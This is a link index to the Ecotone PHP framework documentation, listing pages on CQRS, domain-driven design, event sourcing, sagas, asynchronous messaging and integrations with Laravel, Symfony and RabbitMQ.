<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># Ecotone - Architecture Layer for Laravel &amp; Symfony 

## Ecotone

- [About](https://docs.ecotone.tech/readme.md): Ecotone &acirc;&#128;&#148; the PHP architecture layer that wires your system together, so you build features, not infrastructure
- [Why Ecotone?](https://docs.ecotone.tech/why-ecotone.md): Why Ecotone &acirc;&#128;&#148; the PHP architecture layer that grows with your system, without rewrites
- [Composing Building Blocks](https://docs.ecotone.tech/composing-building-blocks.md): How Ecotone's building blocks compose without orchestration code &acirc;&#128;&#148; one story, nine common composition problems
- [Solutions](https://docs.ecotone.tech/solutions.md): Common challenges Ecotone solves for Laravel and Symfony developers
- [Scattered Application Logic](https://docs.ecotone.tech/solutions/scattered-application-logic.md): How to organize business logic with CQRS in Laravel and Symfony using Ecotone
- [Domain-Driven Design](https://docs.ecotone.tech/solutions/domain-driven-design.md): Domain-Driven Design in PHP &acirc;&#128;&#148; Aggregates, Sagas as process managers, Bounded Contexts via Distributed Bus, Domain Events as first-class citizens, on Laravel and Symfony
- [Event Sourcing](https://docs.ecotone.tech/solutions/event-sourcing.md): Event Sourcing in PHP &acirc;&#128;&#148; built-in event store, partitioned and streaming projections, gap detection, projection emission, and end-to-end PII encryption on Laravel and Symfony
- [Asynchronous Communication](https://docs.ecotone.tech/solutions/asynchronous-communication.md): Asynchronous communication in PHP &acirc;&#128;&#148;
- [Unreliable Async Processing](https://docs.ecotone.tech/solutions/unreliable-async-processing.md): How to build reliable async processing in Laravel and Symfony with Ecotone
- [Complex Business Processes](https://docs.ecotone.tech/solutions/complex-business-processes.md): How to manage complex multi-step business workflows in PHP with Ecotone
- [Durable Execution](https://docs.ecotone.tech/solutions/durable-execution.md): Durable workflows in PHP &acirc;&#128;&#148; sagas, orchestrators, outbox, and retries on the database and broker you already run, no separate workflow runtime
- [The PHP Workflow Engine](https://docs.ecotone.tech/solutions/php-workflow-engine.md): The PHP workflow engine &acirc;&#128;&#148; durable, identifier-mapped, broker-agnostic workflows declared in plain PHP on the database and broker you already operate.
- [Orchestration Layer](https://docs.ecotone.tech/solutions/orchestration-layer.md): The PHP orchestration layer for distributed systems &acirc;&#128;&#148; Orchestrators, Sagas, Distributed Bus, Service Map, and EIP primitives on Laravel and Symfony
- [Audit Trail &amp; State Rebuild](https://docs.ecotone.tech/solutions/audit-trail-and-state-rebuild.md): How to implement Event Sourcing for audit trails and state rebuilds in PHP
- [Microservice Communication](https://docs.ecotone.tech/solutions/microservice-communication.md): How to build reliable microservice communication in PHP with Ecotone Distributed Bus
- [PHP for Enterprise Architecture](https://docs.ecotone.tech/solutions/php-for-enterprise-architecture.md): Enterprise architecture patterns in PHP - comparing Ecotone to Spring, Axon, NServiceBus
- [Installation](https://docs.ecotone.tech/install-php-service-bus.md): Installing Ecotone for Symfony, Laravel, Tempest or Stand Alone
- [How to use](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing.md): Domain Driven Design Command Query Responsibility Segregation PHP
- [CQRS PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/php-cqrs.md): Command Query Responsibility Segregation PHP
- [Event Handling PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/php-event-handling.md): Event Handlers PHP
- [Aggregates &amp; Sagas](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/aggregates-and-sagas.md): Quick start with Aggregates and Sagas in Ecotone PHP
- [Scheduling in PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/scheduling-in-php.md): Quick start with scheduled tasks and periodic processing in PHP
- [Asynchronous PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/asynchronous-php.md): Running the code asynchronously
- [Event Sourcing PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/event-sourcing-php.md): Quick start with Event Sourcing in Ecotone PHP
- [Microservices PHP](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/microservices-php.md): Microservices, Message-Driven, Event-Driven Architecture in PHP
- [Resiliency and Error Handling](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/resiliency-and-error-handling.md): Outbox pattern implementation in PHP
- [Laravel Demos](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/laravel-ddd-cqrs-demo-application.md): Laravel demo applications with DDD, CQRS, and Event Sourcing
- [Symfony Demos](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/symfony-ddd-cqrs-demo-application.md): Symfony demo applications with DDD, CQRS, and Event Sourcing
- [Doctrine ORM](https://docs.ecotone.tech/quick-start-php-ddd-cqrs-event-sourcing/symfony-ddd-cqrs-demo-application/doctrine-orm.md): Symfony demo with Doctrine ORM and Ecotone
- [Tutorial](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing.md): Ecotone PHP Framework
- [Before we start tutorial](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/before-we-start-tutorial.md): Prerequisites and setup before starting the Ecotone tutorial
- [Lesson 1: Messaging Concepts](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-messaging-architecture.md): PHP Messages
- [Lesson 2: Tactical DDD](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-domain-driven-design.md): DDD PHP
- [Lesson 3: Converters](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-serialization-deserialization.md): PHP Conversion
- [Lesson 4: Metadata and Method Invocation](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-metadata-method-invocation.md): PHP Metadata and Method Invocation
- [Lesson 5: Interceptors](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-interceptors-middlewares.md): PHP Middlewares Interceptors
- [Lesson 6: Asynchronous Handling](https://docs.ecotone.tech/tutorial-php-ddd-cqrs-event-sourcing/php-asynchronous-processing.md): Asynchronous PHP Workers
- [Enterprise](https://docs.ecotone.tech/enterprise.md): Ecotone Enterprise features for scaling multi-tenant and multi-service PHP systems
- [Introduction](https://docs.ecotone.tech/modelling/message-driven-php-introduction.md): Message Driven System with Domain Driven Design principles in PHP
- [Message Bus and CQRS](https://docs.ecotone.tech/modelling/command-handling.md): PHP Message Bus, CQRS, Command Event Query Handlers
- [CQRS Introduction - Commands](https://docs.ecotone.tech/modelling/command-handling/external-command-handlers.md): Commands CQRS PHP
- [Query Handling](https://docs.ecotone.tech/modelling/command-handling/external-command-handlers/query-handling.md): Query CQRS PHP
- [Event Handling](https://docs.ecotone.tech/modelling/command-handling/external-command-handlers/event-handling.md): Event CQRS PHP
- [Aggregate Introduction](https://docs.ecotone.tech/modelling/command-handling/state-stored-aggregate.md): DDD Aggregates PHP
- [Aggregate Command Handlers](https://docs.ecotone.tech/modelling/command-handling/state-stored-aggregate/aggregate-command-handlers.md): DDD PHP
- [Aggregate Query Handlers](https://docs.ecotone.tech/modelling/command-handling/state-stored-aggregate/aggregate-query-handlers.md): DDD PHP
- [Aggregate Event Handlers](https://docs.ecotone.tech/modelling/command-handling/state-stored-aggregate/aggregate-event-handlers.md): DDD PHP
- [Advanced Aggregate creation](https://docs.ecotone.tech/modelling/command-handling/state-stored-aggregate/advanced-aggregate-creation.md): DDD PHP
- [Repositories Introduction](https://docs.ecotone.tech/modelling/command-handling/repository.md): Repository PHP
- [Configure Repository](https://docs.ecotone.tech/modelling/command-handling/repository/configure-repository.md): Configuring custom Aggregate repositories in Ecotone PHP
- [Fetching/Storing Aggregates](https://docs.ecotone.tech/modelling/command-handling/repository/repository.md): Fetching and storing Aggregates with repositories in Ecotone PHP
- [Inbuilt Repositories](https://docs.ecotone.tech/modelling/command-handling/repository/inbuilt-repositories.md): Built-in Aggregate repositories for Doctrine ORM, Eloquent, and DBAL
- [Business Interface](https://docs.ecotone.tech/modelling/command-handling/business-interface.md): Business Interfaces for type-safe messaging in Ecotone PHP
- [Introduction](https://docs.ecotone.tech/modelling/command-handling/business-interface/introduction.md): Introduction to Business Interfaces in Ecotone PHP
- [Database Business Interface](https://docs.ecotone.tech/modelling/command-handling/business-interface/working-with-database.md): Database Business Interface for type-safe database access in PHP
- [Converting Parameters](https://docs.ecotone.tech/modelling/command-handling/business-interface/working-with-database/converting-parameters.md): Converting parameters in Database Business Interface queries
- [Converting Results](https://docs.ecotone.tech/modelling/command-handling/business-interface/working-with-database/converting-results.md): Converting query results in Database Business Interface
- [Saga Introduction](https://docs.ecotone.tech/modelling/command-handling/saga.md): Process Manager Saga PHP
- [Identifier Mapping](https://docs.ecotone.tech/modelling/command-handling/identifier-mapping.md): Mapping identifiers for Aggregate and Saga routing in Ecotone
- [Business Workflows](https://docs.ecotone.tech/modelling/business-workflows.md): Three shapes of durable workflows in PHP &acirc;&#128;&#148; Stateless Workflows, Sagas, and Orchestrators. Pick the one that matches your process, on the database and broker you already run.
- [Stateless Workflows](https://docs.ecotone.tech/modelling/business-workflows/connecting-handlers-with-channels.md): Learn how to connect message handlers using channels to build workflows
- [Sagas: Workflows That Remember](https://docs.ecotone.tech/modelling/business-workflows/sagas.md): Learn how to build long-running workflows that remember state using Sagas
- [Orchestrators: Declarative Workflow Automation](https://docs.ecotone.tech/modelling/business-workflows/orchestrators.md): Learn how to build predefined and dynamic workflows using Orchestrator
- [Handling Failures](https://docs.ecotone.tech/modelling/business-workflows/handling-failures.md): Handling Failures and Exceptions in Sagas and Process Managers
- [Extending Messaging (Middlewares)](https://docs.ecotone.tech/modelling/extending-messaging-middlewares.md): Extending messaging with Interceptors and Middlewares in Ecotone PHP
- [Message Headers](https://docs.ecotone.tech/modelling/extending-messaging-middlewares/message-headers.md): Working with Message Headers and metadata in Ecotone PHP
- [Interceptors (Middlewares)](https://docs.ecotone.tech/modelling/extending-messaging-middlewares/interceptors.md): PHP Interceptors Middlewares
- [Additional Scenarios](https://docs.ecotone.tech/modelling/extending-messaging-middlewares/interceptors/additional-scenarios.md): Advanced Interceptor scenarios and configurations in Ecotone
- [Intercepting Asynchronous Endpoints](https://docs.ecotone.tech/modelling/extending-messaging-middlewares/intercepting-asynchronous-endpoints.md): Intercepting asynchronous message endpoints in Ecotone PHP
- [Extending Message Buses (Gateways)](https://docs.ecotone.tech/modelling/extending-messaging-middlewares/extending-message-buses-gateways.md): Extending Command, Event, and Query Buses with custom Gateways
- [Event Sourcing](https://docs.ecotone.tech/modelling/event-sourcing.md): Event Sourcing PHP
- [Installation](https://docs.ecotone.tech/modelling/event-sourcing/installation.md): Installing Event Sourcing support in Ecotone PHP
- [Event Sourcing Introduction](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction.md): Using Event Sourcing in PHP
- [Working with Event Streams](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/working-with-event-streams.md): Working with Event Streams in Ecotone PHP
- [Event Sourcing Aggregates](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/event-sourcing-aggregates.md): Event Sourcing Aggregates in Ecotone PHP
- [Working with Aggregates](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/event-sourcing-aggregates/working-with-aggregates.md): Working with Event Sourcing Aggregates in Ecotone PHP
- [Applying Events](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/event-sourcing-aggregates/applying-events.md): Applying events to rebuild Event Sourcing Aggregate state in PHP
- [Different ways to Record Events](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/event-sourcing-aggregates/different-ways-to-record-events.md): Different ways to record events in Event Sourcing Aggregates
- [Working with Metadata](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/working-with-metadata.md): Working with event metadata in Event Sourcing
- [Event versioning](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/event-versioning.md): Event versioning and upcasting for Event Sourcing in PHP
- [Event Stream Persistence](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy.md): PHP Event Sourcing Persistence Strategy
- [Event Sourcing Repository](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy/event-sourcing-repository.md): Configuring Event Sourcing repositories in Ecotone PHP
- [Making Stream immune to changes](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy/making-stream-immune-to-changes.md): Making event streams immune to class and namespace changes
- [Snapshoting](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy/snapshoting.md): PHP Event Sourcing Snapshoting
- [Persistence Strategies](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy/persistence-strategies.md): Event stream persistence strategies in Ecotone PHP
- [Event Serialization and PII Data (GDPR)](https://docs.ecotone.tech/modelling/event-sourcing/event-sourcing-introduction/persistence-strategy/event-serialization-and-pii-data-gdpr.md): Event serialization and GDPR-compliant PII data handling
- [Projection Introduction](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections.md): PHP Event Sourcing Projections
- [Event Streams and Handlers](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/event-streams-and-handlers.md): PHP Event Sourcing Projection Streams and Event Handlers
- [Projections with Document Store](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/document-store-projection.md): PHP Event Sourcing Projections with Document Store
- [Execution Modes](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/execution-modes.md): PHP Event Sourcing Projection Execution Modes
- [Lifecycle Management](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/lifecycle-management.md): PHP Event Sourcing Projection Lifecycle and CLI
- [Projections with State](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/projections-with-state.md): PHP Event Sourcing Stateful Projections
- [Emitting Events](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/emitting-events.md): PHP Event Sourcing Projection Event Emission
- [Backfill and Rebuild](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/backfill-and-rebuild.md): PHP Event Sourcing Projection Backfill and Rebuild
- [Gap Detection and Consistency](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/gap-detection-and-consistency.md): PHP Event Sourcing Projection Gap Detection
- [Failure Handling](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/failure-handling.md): PHP Event Sourcing Projection Failure Handling and Recovery
- [Scaling and Advanced](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/scaling-and-advanced.md): PHP Event Sourcing Projection Scaling
- [Blue-Green Deployments](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/blue-green-deployments.md): PHP Event Sourcing Projection Blue-Green Deployments
- [Upgrading from V1 to V2](https://docs.ecotone.tech/modelling/event-sourcing/setting-up-projections/upgrading-from-v1.md): Upgrading from Projection V1 to ProjectionV2
- [Recovering, Tracing and Monitoring](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring.md): Recovering, tracing, and monitoring message-driven applications
- [Delivery Semantics &amp; Guarantees](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/delivery-semantics-and-guarantees.md): The delivery, ordering, idempotency, and consistency guarantees Ecotone provides
- [Resiliency](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency.md): Production resilience with retries, dead letter, outbox, and deduplication
- [Retries](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/retries.md): Configuring automatic message retry strategies in Ecotone PHP
- [Error Channel](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/error-channel-and-dead-letter.md): Error channels and dead letter queues for failed message handling
- [Dbal Dead Letter](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/error-channel-and-dead-letter/dbal-dead-letter.md): DBAL-based dead letter queue for storing and replaying failed messages
- [Final Failure Strategy](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/final-failure-strategy.md): Final failure strategy when all message retries are exhausted
- [Idempotency (Deduplication)](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/idempotent-consumer-deduplication.md): Idempotent consumer pattern for message deduplication in PHP
- [Resilient Sending](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/resilient-sending.md): Resilient sending for guaranteed message delivery to async channels
- [Outbox Pattern](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/outbox-pattern.md): Outbox pattern for atomic message publishing with database transactions
- [Concurrency Handling](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/resiliency/concurrency-handling.md): Handling concurrency with optimistic and pessimistic locking
- [Message Handling Isolation](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/message-handling-isolation.md): Message handling isolation for safe retries without side effects
- [Ecotone Pulse (Service Dashboard)](https://docs.ecotone.tech/modelling/recovering-tracing-and-monitoring/ecotone-pulse-service-dashboard.md): Ecotone Pulse service dashboard for monitoring message consumers
- [Asynchronous Handling and Scheduling](https://docs.ecotone.tech/modelling/asynchronous-handling.md): Asynchronous PHP
- [Asynchronous Message Handlers](https://docs.ecotone.tech/modelling/asynchronous-handling/asynchronous-message-handlers.md): Making message handlers asynchronous with a single attribute
- [Asynchronous Message Bus (Gateways)](https://docs.ecotone.tech/modelling/asynchronous-handling/asynchronous-message-bus-gateways.md): Asynchronous Message Bus Gateways for channel-wide async processing
- [Delaying Messages](https://docs.ecotone.tech/modelling/asynchronous-handling/delaying-messages.md): Delaying message delivery for scheduled processing
- [Time to Live](https://docs.ecotone.tech/modelling/asynchronous-handling/time-to-live.md): Time to live for automatic message expiration
- [Message Priority](https://docs.ecotone.tech/modelling/asynchronous-handling/message-priority.md): Message priority for controlling processing order
- [Scheduling](https://docs.ecotone.tech/modelling/asynchronous-handling/scheduling.md): Scheduling PHP
- [Dynamic Message Channels](https://docs.ecotone.tech/modelling/asynchronous-handling/dynamic-message-channels.md): Dynamic message channels for per-tenant routing and isolation
- [Distributed Bus and Microservices](https://docs.ecotone.tech/modelling/microservices-php.md): Implementing Microservices and Event Driven Architecture in PHP
- [Distributed Bus](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus.md): Distributed Bus for cross-service messaging in PHP
- [Distributed Bus Interface](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-interface.md): Distributed Bus Interface for sending commands and events across services
- [Distributed Bus with Service Map](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map.md): Distributed Bus with Service Map for multi-broker microservice communication
- [Configuration](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/configuration.md): Configuring Distributed Bus with Service Map
- [Sharing Events with Streaming Channels](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/sharing-events-with-streaming-channels.md): Sharing events between services with streaming channels
- [Custom Features](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/custom-features.md): Custom features for Distributed Bus with Service Map
- [Shared Service Map](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/shared-service-map.md): Shared Service Map for centralized service topology
- [Non-Ecotone Application integration](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/non-ecotone-application-integration.md): Integrating with other Languages and Frameworks
- [Testing](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/distributed-bus-with-service-map/testing.md): Testing Distributed Bus and cross-service messaging
- [AMQP Distributed Bus (Legacy)](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/amqp-distributed-bus-rabbitmq.md): AMQP Distributed Bus with RabbitMQ for legacy inter-service communication
- [Configuration](https://docs.ecotone.tech/modelling/microservices-php/distributed-bus/amqp-distributed-bus-rabbitmq/configuration.md): Configuring AMQP Distributed Bus with RabbitMQ
- [Message Consumer](https://docs.ecotone.tech/modelling/microservices-php/message-consumer.md): Message Consumer for consuming from external message brokers
- [Message Publisher](https://docs.ecotone.tech/modelling/microservices-php/message-publisher.md): Message Publisher for publishing to external message brokers
- [Migrations / Storage](https://docs.ecotone.tech/modelling/migrations-storage.md): Database migrations and storage management in Ecotone PHP
- [Testing Support](https://docs.ecotone.tech/modelling/testing-support.md): Testing message-driven applications with Ecotone PHP
- [Testing Messaging](https://docs.ecotone.tech/modelling/testing-support/testing-messaging.md): Testing Messaging architecture in PHP
- [Testing Aggregates and Sagas with Message Flows](https://docs.ecotone.tech/modelling/testing-support/testing-aggregates-and-sagas-with-message-flows.md): Testing Aggregate, Saga in PHP
- [Testing Event Sourcing Applications](https://docs.ecotone.tech/modelling/testing-support/testing-event-sourcing-applications.md): Testing Event Sourcing applications in PHP
- [Testing Asynchronous Messaging](https://docs.ecotone.tech/modelling/testing-support/testing-asynchronous-messaging.md): Testing asynchronous communication in PHP
- [Overview](https://docs.ecotone.tech/messaging/overview.md): Event driven architecture PHP
- [Multi-Tenancy Support](https://docs.ecotone.tech/messaging/multi-tenancy-support.md): Multi-Tenancy Ecotone, Symfony, Laravel, DDD, CQRS, Event Sourcing
- [Getting Started](https://docs.ecotone.tech/messaging/multi-tenancy-support/getting-started.md): Getting started with multi-tenancy in Ecotone PHP
- [Any Framework Configuration](https://docs.ecotone.tech/messaging/multi-tenancy-support/getting-started/any-framework-configuration.md): Multi-tenancy configuration for any PHP framework
- [Symfony and Doctrine ORM](https://docs.ecotone.tech/messaging/multi-tenancy-support/getting-started/symfony-and-doctrine-orm.md): Multi-tenancy configuration for Symfony and Doctrine ORM
- [Laravel](https://docs.ecotone.tech/messaging/multi-tenancy-support/getting-started/laravel.md): Multi-tenancy configuration for Laravel with Ecotone
- [Different Scenarios](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios.md): Multi-tenancy scenarios and advanced configurations
- [Hooking into Tenant Switch](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/hooking-into-tenant-switch.md): Hooking into tenant switch for custom tenant initialization
- [Shared and Multi Database Tenants](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/shared-and-multi-database-tenants.md): Shared and multi-database tenant configurations
- [Accessing Current Tenant in Message Handler](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/accessing-current-tenant-in-message-handler.md): Accessing the current tenant context in message handlers
- [Deriving Tenant from Inbound Messages](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/deriving-tenant-from-inbound-messages.md): Deriving the tenant header from external messages that do not carry tenant metadata
- [Events and Tenant Propagation](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/events-and-tenant-propagation.md): Event publishing and tenant context propagation
- [Multi-Tenant aware Dead Letter](https://docs.ecotone.tech/messaging/multi-tenancy-support/different-scenarios/multi-tenant-aware-dead-letter.md): Multi-tenant aware dead letter queue for tenant-isolated error handling
- [Advanced Queuing Strategies](https://docs.ecotone.tech/messaging/multi-tenancy-support/advanced-queuing-strategies.md): Advanced queuing strategies for multi-tenant message processing
- [Document Store](https://docs.ecotone.tech/messaging/document-store.md): Document Store for schema-less data storage in Ecotone PHP
- [Console Commands](https://docs.ecotone.tech/messaging/console-commands.md): Console commands for managing Ecotone message consumers and projections
- [Messaging concepts](https://docs.ecotone.tech/messaging/messaging-concepts.md): Core messaging concepts: Messages, Channels, Endpoints, and Gateways
- [Message](https://docs.ecotone.tech/messaging/messaging-concepts/message.md): Enterprise Integration Patterns PHP
- [Message Channel](https://docs.ecotone.tech/messaging/messaging-concepts/message-channel.md): Message Channel PHP
- [Message Endpoints/Handlers](https://docs.ecotone.tech/messaging/messaging-concepts/message-endpoint.md): Message Endpoint PHP
- [Internal Message Handler](https://docs.ecotone.tech/messaging/messaging-concepts/message-endpoint/service-activator.md): Service Activator PHP
- [Message Router](https://docs.ecotone.tech/messaging/messaging-concepts/message-endpoint/message-routing.md): Message Router PHP
- [Splitter](https://docs.ecotone.tech/messaging/messaging-concepts/message-endpoint/splitter.md): Splitter PHP
- [Consumer](https://docs.ecotone.tech/messaging/messaging-concepts/consumer.md): Consumer PHP
- [Messaging Gateway](https://docs.ecotone.tech/messaging/messaging-concepts/messaging-gateway.md): Message Gateway PHP
- [Inbound/Outbound Channel Adapter](https://docs.ecotone.tech/messaging/messaging-concepts/inbound-outbound-channel-adapter.md): Inbound and Outbound Channel Adapters for external system integration
- [Method Invocation And Conversion](https://docs.ecotone.tech/messaging/conversion.md): Method invocation and message conversion in Ecotone PHP
- [Method Invocation](https://docs.ecotone.tech/messaging/conversion/method-invocation.md): Method Invocation PHP
- [Closures as Expressions](https://docs.ecotone.tech/messaging/conversion/closures-as-expressions.md): Type-safe Closures as alternative to expression language in PHP attributes
- [Conversion](https://docs.ecotone.tech/messaging/conversion/conversion.md): Conversion PHP
- [Payload Conversion](https://docs.ecotone.tech/messaging/conversion/conversion/payload-conversion.md): Converting message payloads between formats in Ecotone PHP
- [Headers Conversion](https://docs.ecotone.tech/messaging/conversion/conversion/headers-conversion.md): Converting message headers in Ecotone PHP
- [Service (Application) Configuration](https://docs.ecotone.tech/messaging/service-application-configuration.md): Ecotone Framework customization
- [Contributing to Ecotone](https://docs.ecotone.tech/messaging/contributing-to-ecotone.md): Contributing to Ecotone framework development
- [How Ecotone works under the hood](https://docs.ecotone.tech/messaging/contributing-to-ecotone/how-ecotone-works-under-the-hood.md): How Ecotone works under the hood &acirc;&#128;&#148; internal architecture
- [Ecotone Phases](https://docs.ecotone.tech/messaging/contributing-to-ecotone/ecotone-phases.md): Ecotone bootstrap phases and lifecycle
- [Registering new Module Package](https://docs.ecotone.tech/messaging/contributing-to-ecotone/registering-new-module-package.md): Registering a new module package in Ecotone
- [Demo Integration with SQS](https://docs.ecotone.tech/messaging/contributing-to-ecotone/demo-integration-with-sqs.md): Demo integration with Amazon SQS in Ecotone
- [Preparation](https://docs.ecotone.tech/messaging/contributing-to-ecotone/demo-integration-with-sqs/preparation.md): Preparing the SQS integration demo environment
- [Inbound and Outbound Adapters and Message Channel](https://docs.ecotone.tech/messaging/contributing-to-ecotone/demo-integration-with-sqs/inbound-and-outbound-adapters-and-message-channel.md): Building SQS inbound and outbound adapters and message channels
- [Message Consumer and Publisher](https://docs.ecotone.tech/messaging/contributing-to-ecotone/demo-integration-with-sqs/message-consumer-and-publisher.md): Building SQS message consumer and publisher
- [Overview](https://docs.ecotone.tech/modules/overview.md): Overview of Ecotone modules for Laravel, Symfony, Tempest, and message brokers
- [Symfony](https://docs.ecotone.tech/modules/symfony.md): Symfony CQRS DDD Event Sourcing with Ecotone
- [Symfony Configuration](https://docs.ecotone.tech/modules/symfony/symfony-ddd-cqrs-event-sourcing.md): Event Sourcing DDD CQRS Symfony PHP
- [Symfony Database Connection (DBAL Module)](https://docs.ecotone.tech/modules/symfony/symfony-database-connection-dbal-module.md): Database connection with DBAL module in Symfony
- [Doctrine ORM](https://docs.ecotone.tech/modules/symfony/doctrine-orm.md): Using Doctrine ORM with Ecotone Aggregates in Symfony
- [Symfony Messenger Transport](https://docs.ecotone.tech/modules/symfony/symfony-messenger-transport.md): Symfony Messenger CQRS DDD
- [Laravel](https://docs.ecotone.tech/modules/laravel.md): Laravel CQRS DDD Event Sourcing with Ecotone
- [Laravel Configuration](https://docs.ecotone.tech/modules/laravel/laravel-ddd-cqrs-event-sourcing.md): Event Sourcing DDD CQRS Laravel
- [Database Connection (DBAL Module)](https://docs.ecotone.tech/modules/laravel/database-connection-dbal-module.md): Database connection with DBAL module in Laravel
- [Eloquent](https://docs.ecotone.tech/modules/laravel/eloquent.md): Using Eloquent ORM with Ecotone Aggregates in Laravel
- [Laravel Queues](https://docs.ecotone.tech/modules/laravel/laravel-queues.md): Using Laravel Queues as async message channels in Ecotone
- [Laravel Octane](https://docs.ecotone.tech/modules/laravel/laravel-octane.md): Running Ecotone with Laravel Octane for high-performance PHP
- [Tempest](https://docs.ecotone.tech/modules/tempest.md): Tempest CQRS DDD Event Sourcing with Ecotone
- [Tempest Configuration](https://docs.ecotone.tech/modules/tempest/tempest-configuration.md): Event Sourcing DDD CQRS Tempest
- [Database Connection (DBAL Module)](https://docs.ecotone.tech/modules/tempest/database-connection-dbal-module.md): Database connection with DBAL module in Tempest
- [Tempest Models as Aggregates](https://docs.ecotone.tech/modules/tempest/tempest-models-as-aggregates.md): Using Tempest active-record models as Ecotone Aggregates
- [Ecotone Lite](https://docs.ecotone.tech/modules/ecotone-lite.md): Ecotone Lite for standalone PHP applications without Laravel or Symfony
- [Logging](https://docs.ecotone.tech/modules/ecotone-lite/logging.md): Configuring logging in Ecotone Lite applications
- [Database Connection (DBAL Module)](https://docs.ecotone.tech/modules/ecotone-lite/database-connection-dbal-module.md): Database connection with DBAL module in Ecotone Lite
- [JMS Converter](https://docs.ecotone.tech/modules/jms-converter.md): PHP Converters Serializers Deserializers
- [OpenTelemetry (Tracing and Metrics)](https://docs.ecotone.tech/modules/opentelemetry-tracing-and-metrics.md): OpenTelemetry integration for tracing and metrics in Ecotone PHP
- [Configuration](https://docs.ecotone.tech/modules/opentelemetry-tracing-and-metrics/configuration.md): Configuring OpenTelemetry tracing and metrics in Ecotone
- [RabbitMQ Support](https://docs.ecotone.tech/modules/amqp-support-rabbitmq.md): Asynchronous PHP RabbitMQ
- [Configuration](https://docs.ecotone.tech/modules/amqp-support-rabbitmq/configuration.md): Configuring RabbitMQ connection and exchanges in Ecotone
- [Message Channel](https://docs.ecotone.tech/modules/amqp-support-rabbitmq/message-channel.md): RabbitMQ message channels for async processing in Ecotone
- [Rabbit Consumer](https://docs.ecotone.tech/modules/amqp-support-rabbitmq/rabbit-consumer.md): Production-grade RabbitMQ consumer with Ecotone
